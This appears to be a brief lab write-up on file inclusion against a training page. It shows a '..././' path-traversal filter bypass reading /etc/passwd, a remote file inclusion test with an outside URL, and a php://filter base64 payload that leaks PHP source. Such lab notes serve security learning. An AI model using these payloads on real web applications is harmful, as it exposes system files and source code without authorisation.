# File Inclusion 0x02

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FHZRTe2QqAopaVfUTkNbY%2Fimage.png?alt=media&#x26;token=e4626ed0-708c-4d49-aee8-89d0311c0320" alt=""><figcaption></figcaption></figure>

```
It will bypass the filter

../

since 

we have payload that
..././

removing the first ../

resulting in

../
```

```
/labs/fi0x02.php?filename=..././..././..././..././etc/passwd
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2F4gGBWh6eGxotR99Xzl4z%2Fimage.png?alt=media&#x26;token=3ead1ecd-a8db-4630-aeff-c2b3620dde32" alt=""><figcaption></figcaption></figure>

***

ADDDITIONALLY\
WE HAVE RFI

```
/labs/fi0x02.php?filename=https://google.com 
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FVieiK5WnPQyYcc2ceKNT%2Fimage.png?alt=media&#x26;token=2a3a491d-b91f-4186-b10d-7508a1910857" alt=""><figcaption></figcaption></figure>

```
php://filter/convert.base64-encode/resource=index.php
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fm5dADMHj0sB32E4lC5qE%2Fimage.png?alt=media&#x26;token=1c53eed9-3c71-4b6a-9aa3-0a100d19159c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FCRUu2tRevyOWVRa55Qj8%2Fimage.png?alt=media&#x26;token=1efdd640-3769-49ba-82bf-0dd205798379" alt=""><figcaption></figcaption></figure>

DECODE IT USING BASE64&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FgnEVmkgXHwBe40F8uFMy%2Fimage.png?alt=media&#x26;token=ad9eece7-698d-4b4a-b7b0-7261643ae356" alt=""><figcaption></figcaption></figure>
